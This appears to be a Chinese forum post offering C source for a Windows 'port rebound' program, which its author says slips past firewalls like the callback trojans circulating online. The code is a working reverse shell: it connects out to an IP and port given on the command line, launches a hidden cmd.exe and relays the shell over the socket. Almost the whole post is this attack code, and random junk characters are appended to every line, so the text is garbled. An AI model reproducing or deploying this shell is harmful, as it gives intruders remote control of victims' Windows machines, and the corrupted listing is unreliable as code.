Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 1yY0dOoLG)  
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/* ============================== f6"Z'{j  
Rebound port in Windows NT MnW+25=N  
By wind,2006/7 f(7GX3?  
===============================*/ (&x['IR  
#include cQ_Hp <D  
#include P{^6v=8)  
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#pragma comment(lib,"wsock32.lib") vs{s_T7Mz]  
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void OutputShell(); |]*/R^1>2  
SOCKET sClient; Pj%|\kbNs  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Wo=jskBrQ  
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void main(int argc,char **argv) Ozf@6\/t  
{ "g8M
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WSADATA stWsaData; uY'
HT|@:{  
int nRet; NQ2E  
SOCKADDR_IN stSaiClient,stSaiServer; -z(+//K:#  
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if(argc != 3) geCM<]  
{ ,s;UfF  
printf("Useage:\n\rRebound DestIP DestPort\n"); E-g_".agO  
return; JqiP>4Uwm^  
} VyGJ=[ ]  
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WSAStartup(MAKEWORD(2,2),&stWsaData); $iz|\m  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !%0 *z  
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stSaiClient.sin_family = AF_INET; #
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stSaiClient.sin_port = htons(0); wj0\$NQ=x  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); N]sAji*  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) "'\$ g[k  
{ \)|hogI|f  
printf("Bind Socket Failed!\n"); &:)Wh[  
return; 5XBH$&Td  
} }vM(
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stSaiServer.sin_family = AF_INET; 92KRb;c  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ~$?ZK]YOrx  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); n.(FQx.F  

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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ~Jz6O U*z  
{ uW36;3[f#1  
printf("Connect Error!"); sLAQE64\"  
return; <e</m)j  
} ]?[fsdAQW  
OutputShell(); Jg|XH L)  
} k\G
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void OutputShell() omBoo5e  
{ ZzT9j~  
char szBuff[1024]; c\ lkD-\  
SECURITY_ATTRIBUTES stSecurityAttributes; WI-1)1t  
OSVERSIONINFO stOsversionInfo; *bA.zmzM  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; hQDXlFHT  
STARTUPINFO stStartupInfo; >I&5j/&}+  
char *szShell; W9GVt$T7  
PROCESS_INFORMATION stProcessInformation; |8tilOqI  
unsigned long lBytesRead; _zi|  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); E09:E  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 81 sG  
stSecurityAttributes.lpSecurityDescriptor = 0; |_@>*Vmg  
stSecurityAttributes.bInheritHandle = TRUE; HCC#j9UN6  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); P\rg" 3  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); b2&0Hx  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); `&ckZiq  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e h?zNu2=  
stStartupInfo.wShowWindow = SW_HIDE; n]o<S+z  
stStartupInfo.hStdInput = hReadPipe; Cd}<a?m,  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 'kO!^6=4M  
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GetVersionEx(&stOsversionInfo); cB}D^O   
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switch(stOsversionInfo.dwPlatformId) D7Q$R:6|  
{ ok\vQs(a  
case 1: 9Y_HyOZ*GX  
szShell = "command.com"; 1ztG;\  
break; R|87%&6']
 
default: a'yK~;+_9  
szShell = "cmd.exe"; }l} Bo.C  
break; 68C%B9.b'  
} +E(L\  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 3eAX.z`D  
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send(sClient,szMsg,77,0); V#gK$uv  
while(1) `Cynj+PCe  
{ XW)lDiJl  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); a fW@T2  
if(lBytesRead) m'=Crei  
{ R=2
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); j[J-f@F \Y  
send(sClient,szBuff,lBytesRead,0); tpQ(g%  
} X[BIA+6  
else ~H<6gN<j(.  
{ jZkcBIK2  
lBytesRead=recv(sClient,szBuff,1024,0); yEoF4bt  
if(lBytesRead<=0) break; =ToyZm\  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); bUdLs.:  
} M; tqp8  
} Ee%%d  
\aUC(K~o\;  
return; _FU_Ubkr  
}